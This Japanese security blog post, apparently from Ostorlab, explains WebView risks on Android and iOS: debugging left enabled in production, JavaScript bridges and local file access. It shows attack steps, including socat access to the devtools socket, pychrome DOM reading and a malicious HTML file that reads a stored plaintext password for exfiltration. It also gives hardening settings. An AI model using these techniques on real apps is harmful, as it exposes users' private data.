モバイルセキュリティの専門家が知っておくべきWebViewに関する5つのこと
本記事では、WebViewsと、AndroidとiOSの両方でこのコンポーネントを使用する際に念頭に置くべきセキュリティ上の考え方について解説します。
WebViewはモバイルアプリケーションにとって重要なコンポーネントで、AndroidやiOSのアプリケーションがWebコンテンツをレンダリングし、モバイルアプリケーション内でJavascriptコードを実行できるようにします。
WebViewの設計はWebの状況に変化をもたらすものであり、アプリケーションにセキュリティホールを生まないよう特別な注意が必要です。
簡潔で役立つ5つのヒントを通じて、WebViewsの使い方と、確認すべき一般的なセキュリティ上の問題を理解できます。
Ostorlabは、静的解析と動的解析の両方を用いて、これらの問題をすべて自動的にチェックしています。
OSのバージョンを教えてくれれば、WebViewがわかる?
WebviewはiOS 1とAndroid 2で導入され、そのパフォーマンスの最適化とセキュリティの強化のために重要な変更を重ねてきました。
Webviewの設計における主なマイルストーンは次のとおりです。
-
iOS:
UIWebviewはiOS1から利用可能で、iOS8で非推奨になりました。多くのセキュリティ上の問題があります。- Javascriptを無効にできない
- ファイルへのアクセスを無効にできない
- ファイルアクセスに同一オリジンポリシーを適用できない
- ネイティブアプリケーションがすべてのリクエスト/レスポンスにアクセスできるため、機密データや外部認証には適さない
- レンダリングされたコンテンツとネイティブアプリケーションが同じプロセスを共有する
WKWebViewはiOS8から利用可能で、パフォーマンスとセキュリティに関する複数の改善が導入されました。- Javascriptを無効にできる
- ファイルへのアクセスを無効にできる
- ファイルアクセスに同一オリジンポリシーを適用できる
- ネイティブアプリケーションがすべてのリクエスト/レスポンスにアクセスできるため、機密データや外部認証には適さない
- レンダリングされたコンテンツとネイティブアプリケーションが別々のプロセスで実行される
SFSafariViewControllerはiOS9から利用可能で、ブラウザーのような体験を提供します。主に、アプリケーションがWebコンテンツを表示するだけでよい場合に使われます。- Javascriptを無効にできる
- ファイルへのアクセスを無効にできる
- ファイルアクセスに同一オリジンポリシーを適用できる
- ネイティブアプリケーションはすべてのリクエスト/レスポンスにアクセスできないが、別の実装を使ってCookieや保存データを共有できる
- レンダリングされたコンテンツとネイティブアプリケーションが別々のプロセスで実行される
-
Android:
- 2.xから3までの
WebKit:- Javascriptを無効にできる
- ファイルへのアクセスを無効にできない
- ファイルアクセスに同一オリジンポリシーを適用できない
- レンダリングされたコンテンツとネイティブアプリケーションが同じプロセスを共有する
- 3の
WebKit:- Javascriptを無効にできる
- ファイルへのアクセスを無効にできる
- ファイルアクセスに同一オリジンポリシーを適用できない
- レンダリングされたコンテンツとネイティブアプリケーションが同じプロセスを共有する
- 4.4の
Chromium30:WebviewはUIスレッドで実行される- Javascriptを無効にできる
- ファイルへのアクセスを無効にできる
- ファイルアクセスに同一オリジンポリシーを適用できる
- レンダリングされたコンテンツとネイティブアプリケーションが同じプロセスを共有する
- 5.0のChromium M37:
- カメラやマイクなどの保護されたリソースへのアクセス権限を
WebViewに付与するためのPermissionRequestクラスが導入された - Google Play StoreからのChromiumの更新に対応
- カメラやマイクなどの保護されたリソースへのアクセス権限を
- Android 7.0からAndroid まで:
- 位置情報APIは安全なオリジン(HTTPS経由)でのみ許可される
WebViewはWebコンテンツを、サンドボックス化された別のプロセスで実行するWebViewがGoogleによって既知の脅威と分類されたURLに移動しようとしたときに通知するSafe Browsing APIが追加された
- 2.xから3までの
WebViewのコンテンツのデバッグを本番環境で有効にしても安全か
端的に答えると、安全ではありません。
このセクションでは、WebContentsDebuggingが有効になっている場合に、悪意のあるアプリケーションがWebViewにレンダリングされたデータにどのようにアクセスできるかを見ていきます。
アプリケーションがWebViewsのコンテンツのデバッグをどのように有効にしているかを示すため、Ostorlabの解析環境を使い、setWebContentsDebuggingEnabled関数を検索します。

関数の呼び出しツリーと、関数に渡されるパラメーターを確認するため、呼び出しツリーのタブに移動します。

initWebViewがsetWebContentsDebuggingEnabledを呼び出していることがわかります。

ソースコードに移動すると、パラメーターがthis.config.isWebContentsDebuggingEnabled()メソッドから取得されていることがわかります。
private void initWebView()
{
android.webkit.WebSettings v0_1 = this.webView.getSettings();
v0_1.setJavaScriptEnabled(1);
v0_1.setDomStorageEnabled(1);
v0_1.setGeolocationEnabled(1);
v0_1.setDatabaseEnabled(1);
v0_1.setAppCacheEnabled(1);
v0_1.setMediaPlaybackRequiresUserGesture(0);
v0_1.setJavaScriptCanOpenWindowsAutomatically(1);
if (this.config.isMixedContentAllowed()) {
v0_1.setMixedContentMode(0);
}
String v1_3 = this.config.getAppendedUserAgentString();
if (v1_3 != null) {
String v2_0 = v0_1.getUserAgentString();
String v3_1 = new StringBuilder();
v3_1.append(v2_0);
v3_1.append( );
v3_1.append(v1_3);
v0_1.setUserAgentString(v3_1.toString());
}
String v2_2 = this.config.getOverriddenUserAgentString();
if (v2_2 != null) {
v0_1.setUserAgentString(v2_2);
}
String v3_4 = this.config.getBackgroundColor();
if (v3_4 == null) {
} else {
try {
this.webView.setBackgroundColor(com.getcapacitor.util.WebColor.parseColor(v3_4));
} catch (boolean v4) {
com.getcapacitor.Logger.debug(WebView background color not applied);
}
}
this.webView.requestFocusFromTouch();
android.webkit.WebView.setWebContentsDebuggingEnabled(this.config.isWebContentsDebuggingEnabled());
return;
}
isWebContentsDebuggingEnabledの定義を確認すると、capacitor.config.jsonを使用しており、このパラメーターがtrueに設定されていることがわかります。

次に、アプリケーションをインストールし、端末上で実行します。
WebViewのデバッグはChrome Debug Protocolを使用しており、名前付きの抽象UNIXソケットを通じて公開されます。ソケットの名前は
webview_devtools_remoteまたはwebview_devtools_remote_<pid>のいずれかです。
抽象ソケットは、アクセスの制御にファイルシステムの権限を使用しないため、端末上のすべてのアプリケーションから アクセスできます。
netstatを使って、公開されているソケットを見つけることができます。
shell# netstat -untapexW | grep webview_devtools_remote
unix 2 [ ACC ] STREAM LISTENING 2633690 26634/com.xxxxx.i@webview_devtools_remote_26634
あとは、これを悪用してソケットの内容を読み取るために、端末上で次のコマンドを実行するだけです。
socat TCP-LISTEN:9999,fork ABSTRACT:webview_devtools_remote_2466
Javaには抽象ソケットにアクセスするためのAPIがないため、この種の攻撃を行う攻撃者は、おそらく ネイティブコードを使用する点に注意してください。
リモートプロトコルにアクセスするには、pychromeなどのChrome Debug Protocolクライアントを使用します。
import pychrome
# connect to webview on the exposed port.
browser = pychrome.Browser(url="http://127.0.0.1:9999")
t = browser.list_tab()[0]
t.start()
t.DOM.enable()
# Access document.
t.DOM.getDocument()
DOMオブジェクトを使って、ページのすべての内容を調べることができます。
>>> t.DOM.getDocument()
{'root': {'nodeId': 1, 'backendNodeId': 2, 'nodeType': 9, 'nodeName': '#document', 'localName': '', 'nodeValue': '', 'childNodeCount': 2, 'children': [{'nodeId': 2, 'parentId': 1, 'backendNodeId': 42, 'nodeType': 10, 'nodeName': 'html', 'localName': '', 'nodeValue': '', 'publicId': '', 'systemId': ''}, {'nodeId': 3, 'parentId': 1, 'backendNodeId': 43, 'nodeType': 1, 'nodeName': 'HTML', 'localName': 'html', 'nodeValue': '', 'childNodeCount': 2, 'children': [{'nodeId': 4, 'parentId': 3, 'backendNodeId': 44, 'nodeType': 1, 'nodeName': 'HEAD', 'localName': 'head', 'nodeValue': '', 'childNodeCount': 80, 'attributes': []}, {'nodeId': 5, 'parentId': 3, 'backendNodeId': 45, 'nodeType': 1, 'nodeName': 'BODY', 'localName': 'body', 'nodeValue': '', 'childNodeCount': 5, 'attributes': []}], 'attributes': ['lang', 'en'], 'frameId': '8C9DD9891A40F2CEC8D73094D29D9152'}], 'documentURL': 'https://www.xxx.com/', 'baseURL': 'https://www.xxx.com/', 'xmlVersion': ''}}
JavaコードからJavascriptへの安全な道のり:
addJavascriptInterfaceメソッドを使うと、JavaオブジェクトをWebViewに注入し、JavaScriptに公開できます。以下は、その実装方法を示す簡単な例です。
webView = (WebView) findViewById(R.id.webView1);
webView.addJavascriptInterface(new JavaScriptBridge(), "safeBridge");
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
webView.loadUrl("file:///android_asset/main.html");
public class JavaScriptBridge {
@JavascriptInterface
public String helloSafeWorld()
{
return "Hello World!";
}
}
この例では、次のコードを使ってJavaScriptからhelloSafeWorld()メソッドを呼び出せます。
var HelloWorld = window.safeBridge.helloSafeWorld();
addJavascriptInterfaceによってインターフェースがWebViewに登録されると、それはグローバルになります。WebViewに
読み込まれたすべてのページがこのインターフェースを呼び出し、インターフェースが保持する同じデータにアクセスできます。これにより、
あるオリジンのWebページが他のオリジンのWebページに影響を与えることが可能になります
APIバージョン17以降では、@JavascriptInterfaceアノテーションが付いたメソッドだけがJavaScriptコードから利用できます。
APIバージョン17より前は、リフレクションを使って端末上で任意のコードを実行できました(CVE-2012-6636を参照)。
com.microsoft.skydriveアプリケーションの実例を見てみましょう。まず、addJavascriptInterface関数を検索します。

コールスタックのタブを見ると、複数のインターフェースが公開されていることがわかります。

ここではcom.microsoft.skydrive.reportabuseパッケージに注目します。

public void onViewCreated(android.view.View p3, android.os.Bundle p4)
{
kotlin.jvm.internal.Intrinsics.checkNotNullParameter(p3, view);
android.webkit.WebView v3_12 = ((android.webkit.WebView) this._$_findCachedViewById(com.microsoft.skydrive.R$id.web_view));
kotlin.jvm.internal.Intrinsics.checkNotNullExpressionValue(v3_12, web_view);
android.webkit.WebView v3_13 = v3_12.getSettings();
kotlin.jvm.internal.Intrinsics.checkNotNullExpressionValue(v3_13, web_view.settings);
v3_13.setJavaScriptEnabled(1);
((android.webkit.WebView) this._$_findCachedViewById(com.microsoft.skydrive.R$id.web_view)).addJavascriptInterface(new com.microsoft.skydrive.reportabuse.ReportAbuseJavascriptInterface(this), external);
android.webkit.WebView v3_7 = ((android.webkit.WebView) this._$_findCachedViewById(com.microsoft.skydrive.R$id.web_view));
kotlin.jvm.internal.Intrinsics.checkNotNullExpressionValue(v3_7, web_view);
v3_7.setWebViewClient(new com.microsoft.skydrive.reportabuse.ReportAbuseDialogFragment$onViewCreated$1(this));
((android.webkit.WebView) this._$_findCachedViewById(com.microsoft.skydrive.R$id.web_view)).loadUrl(https://www.onedrive.com/reportabuse);
return;
}
このインターフェースは次のメソッドを公開しています。
package com.microsoft.skydrive.reportabuse;
public interface ReportAbuseInterface {
public abstract void dismissReportAbuse();
public abstract String getReportAbuseContextInformation();
public abstract void pageFinishedLoading();
public abstract void reportClicked();
public abstract void resize();
}
これらのメソッドを実装する際の重要なポイントは、すべての入力を検証し、攻撃者が機密データの取得や改ざんに 利用できるような汎用的な動作を作らないことです。
以下のreportClickedの実装では、null値を指定して関数を呼び出すと、valueOfの呼び出し時にエラーが発生し、予期しない動作につながります。
public void reportClicked(String p12, String p13)
{
android.content.Context v1_1 = this.getContext();
if (v1_1 != null) {
com.microsoft.authorization.instrumentation.AccountInstrumentationEvent v9_1 = new com.microsoft.authorization.instrumentation.AccountInstrumentationEvent(v1_1, com.microsoft.skydrive.instrumentation.EventMetaDataIDs.REPORT_ABUSE_CLICKED, this.a);
try {
com.microsoft.skydrive.reportabuse.ReportAbuseTask v2_0 = com.microsoft.skydrive.reportabuse.ReportAbuseDialogFragment$ReportAbuseType.valueOf(p12);
com.microsoft.authorization.OneDriveAccount v4 = this.a;
} catch (IllegalArgumentException) {
String v13_2 = new StringBuilder();
v13_2.append(Invalid report abuse type - );
v13_2.append(p12);
com.microsoft.odsp.io.Log.dPiiFree(ReportAbuseDialogFragment, v13_2.toString());
kotlin.jvm.internal.Intrinsics.checkNotNullExpressionValue(v1_1, context);
this.b(v1_1, 2131952415);
v9_1.addProperty(InvalidReportAbuseType, p12);
com.microsoft.instrumentation.util.ClientAnalyticsSession.getInstance().logEvent(v9_1);
}
...
iOSも試してみよう。こちらのほうが安全かもしれない
iOS 7より前は、iOSでネイティブブリッジを実装するのはAndroidよりもやや複雑でした。この目的のために明示的に定義されたAPIメソッドがないためです。
一般的な方法は、URLの読み込みの仕組みをオーバーロードし、JavaScriptからネイティブのUIWebViewのコールバックに任意のメッセージを渡せるようにするというものでした。
WebView内でURLが読み込まれるたびに、shouldStartLoadWithRequestデリゲートメソッドが呼び出され、パラメーターを含むURL全体がインターセプトされます。
URLの形式は通常、JavaScriptからネイティブコンテナにメッセージを渡すために使われます。
たとえば、従業員の一覧から名前を検索するには、次のようにします。
window.location = mysafebridge://employees/search/contact?firstname=john
次に、ネイティブコンテナは、次のようなコードを使ってWebViewのshouldStartLoadWithRequestデリゲートを実装します。
- (BOOL)webView:(UIWebView*)webView
shouldStartLoadWithRequest:(NSURLRequest*)request
navigationType:(UIWebViewNavigationType)navigationType {
NSURL *URL = [request URL];
if ([[URL scheme] isEqualToString:@"mysafebridge"]) {
// parse URL, extract host and parameters to define actions
}
}
shouldStartLoadWithRequestメソッドは通常、URLを読み込み、URLの各構成要素を分離・解釈して、どのアクションを実行すべきかを判断します。
ただし、URLを読み込む手法では、Webレイヤーからネイティブコンテナへの一方向のブリッジしか提供されません。
JavaScriptのコールバックとUIWebviewクラスのstringByEvaluatingJavaScriptFromStringメソッドを使えば、双方向の通信チャネルを作成できます。
たとえば、ネイティブコンテナからJavaScriptのメソッドを実行するには、次のようなコードが見られます。
[webView stringByEvaluatingJavaScriptFromString: @"addEmployee('%@','%@')",firstname,job];
この簡単な例では、addEmployee()というJavaScript関数が実行され、NSStringオブジェクトである
「firstname」と「job」がJavaScriptに渡されます。この手法をshouldStartLoadWithRequestと組み合わせて使うと、
ネイティブレイヤーとWebレイヤーの間に初歩的なブリッジを実現できます。
カスタムURIスキームを使用する際には注意が必要です。攻撃者は(メール、チャット、SMS経由で)悪意のあるリンクを共有でき、 悪意のあるJavaScriptやHTMLのコードがネイティブのモバイル機能を呼び出し、そのデータを悪用するおそれがあるためです。
注:UIWebViewのJavaScript実行では、割り当ての合計が10MB、実行時間が10秒に制限されており、その時点で
実行は即座に、例外なく停止されます。
UIWebViewの制限を克服するため、iOS 7にはJavaScriptCoreフレームワークが搭載されました。これは、ネイティブのObjective-Cと
JavaScriptランタイムの間のブリッジ通信を完全にサポートしています。ブリッジは、新しいJSContextグローバルオブジェクトを介して
作成され、コードを評価するためのJavaScript仮想マシンへのアクセスを提供します。Objective-Cのランタイムは、
JSValueオブジェクトを介してJavaScriptの値への強参照を取得することもできます。
JSExportプロトコルを使うと、アプリケーションはObjective-Cのクラスやインスタンス全体をJavaScriptに公開し、それらをJavaScriptのオブジェクトであるかのように操作できます。
JSExportを継承するプロトコル内で変数やメソッドを定義すると、それらの要素がJavaScriptからアクセス可能であることがJavaScriptCore1に伝えられます。
@objc public protocol CarJSExports : JSExport {
var model: String { get set }
var year: String { get set }
var price: NSNumber? { get set }
var fullDetail: String { get }
static func createWith(model: String, year: String) -> Car
}
上の例では、JSExportプロトコルの宣言によって、Javascriptから変数modelとyear、および関数createWithにアクセスできるようになります。
これでJavaScriptCoreはCarJSExportsプロトコルを認識したので、そのインスタンスをJSContextに追加すると、適切なラッパーオブジェクトを作成できます。
@objc public class Car : NSObject, CarJSExports {
public dynamic var model: String
public dynamic var year: String
public dynamic var price: NSNumber?
public required init(model: String, year: String) {
self.model = model
self.year = year
}
public class func createWith(model: String, year: String) -> Car {
return Car(model: model, year: year)
}
public var fullDetail: String {
return "\(model) \(year)"
}
}
let context = JSContext()!
context.setObject(Car.self, forKeyedSubscript: "Car" as NSString)
context.evaluateScript(#"""
function loadCar(json) {
return JSON.parse(json)
.map((attributes) => {
let car = Car.createWithModelYear(attributes.model, attributes.year);
car.price = attributes.price;
return car;
});
}
"""#)
let json = """
[
{ "model": "Tesla", "year": "2020", "price": 999 },
{ "model": "Toyota", "year": "2220", "price": 998 },
{ "model": "Mercedes", "year": "2222", "price": 909 }
]
"""
guard let loadCar = context.objectForKeyedSubscript("loadCar"),
let cars = loadCar.call(withArguments: [json])?.toArray()
else {
fatalError()
}
for car in cars {
let model = (car as! Car).model
NSLog(model);
}
この実装により、オブジェクトをJavaScriptCoreに公開するのは簡単になります。だからこそ開発者は、必要なデータだけを公開し、
JSExportの定義を初期のデータモデルの写しにしないよう注意する必要があります。
たとえば、fullDetail関数に機密データが含まれる可能性がある場合、それはCarJSExportsプロトコルでは宣言せず、Carクラスの定義の中でのみ宣言すべきです。
もう一つファイルを読んでもいいか
ほとんどのSDKやWebViewsコンポーネントでは、デフォルトでファイルシステムからファイルを読み込むことが許可されています。これは、
悪意のあるアプリケーションが別のアプリケーションのWebView内でローカルファイルを開けてしまう場合にリスクとなります。これにより、公開されたWebViewは、
アクセシビリティ設定の悪用から同一オリジンのバイパスに至るまで、無数の悪用手法にさらされます。
Androidでは、次のようにしてWebViewからのファイルシステムへのアクセスを無効にできます。
webview.getSettings().setAllowFileAccess(false);
ただしこれでは、WebViewがfile:///android_resやfile:///android_assetを使って、アプリケーションのリソースフォルダやアセットフォルダから
ファイルを読み込むことは防げません。WebViewを厳重に保護するには、ファイルシステムから読み込まれたファイルが
他のファイルにアクセスすることを許可すべきではありません。これにより、読み込まれたページによる
非公開ファイルの持ち出しを制限できます。
webview.getSettings().setAllowFileAccessFromFileURLs(false);
webview.getSettings().setAllowUniversalAccessFromFileURLs(false);
さらに、次の設定を使うことで、WebViewが端末上のContent Providerにアクセスできないように保護できます。
webview.getSettings().setAllowContentAccess(false);
以下は、攻撃者が悪意のあるリンクを使って、アプリケーションのディレクトリから機密データを読み取る脆弱な例です。 このアプリケーションは、平文のパスワードをShared Preferencesに書き込んでいます。
SharedPreferences sharedPref = getPreferences(Context.MODE_PRIVATE);
SharedPreferences.Editor editor = sharedPref.edit();
editor.putString("password", "MyBadPassword");
editor.apply();
さらに、このアプリケーションは、インテントやユーザー入力から受け取ったURLを表示するためにWebviewを使用しています。
String badUrl = getIntent().getStringExtra("URL");
WebView webview = findViewById(R.id.webview);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setAllowFileAccessFromFileURLs(true);
webview.setWebChromeClient(new WebChromeClient());
webview.loadUrl(badUrl);
この場合、JavaScriptとAllowFileAccessFromFileURLsの両方が有効になっています。悪意のあるファイルtest.htmlは、
Shared PreferencesのファイルMainActivity.xmlを読み取り、外部に持ち出すことができます。
function readTextFile(file)
{
var rawFile = new XMLHttpRequest();
rawFile.open("GET", file, false);
rawFile.onreadystatechange = function ()
{
if(rawFile.readyState === 4)
{
if(rawFile.status === 200 || rawFile.status == 0)
{
var allText = rawFile.responseText;
// send allText to external link
}
}
}
rawFile.send(null);.0
};
アプリケーション内でそのURLにアクセスすると、悪意のあるコードが実行され、ファイルの内容にアクセスできることがわかります。

まとめ
Webviewはモバイルアプリの重要なコンポーネントです。外部リソースへのアクセスややり取りに大きな柔軟性をもたらしますが、
それに伴って多くのセキュリティ上の課題も生じます。
まとめると、最新のSDKバージョンを使用して非推奨のコンポーネントを避け、JavaScriptコードを有効にする際や ネイティブとJavaScriptの間のブリッジを実装する際には注意してください。機能は必要最小限に制限すべきです。
本記事がお役に立てば幸いです。ぜひOstorlabで自社のアプリケーションをテストしてみてください。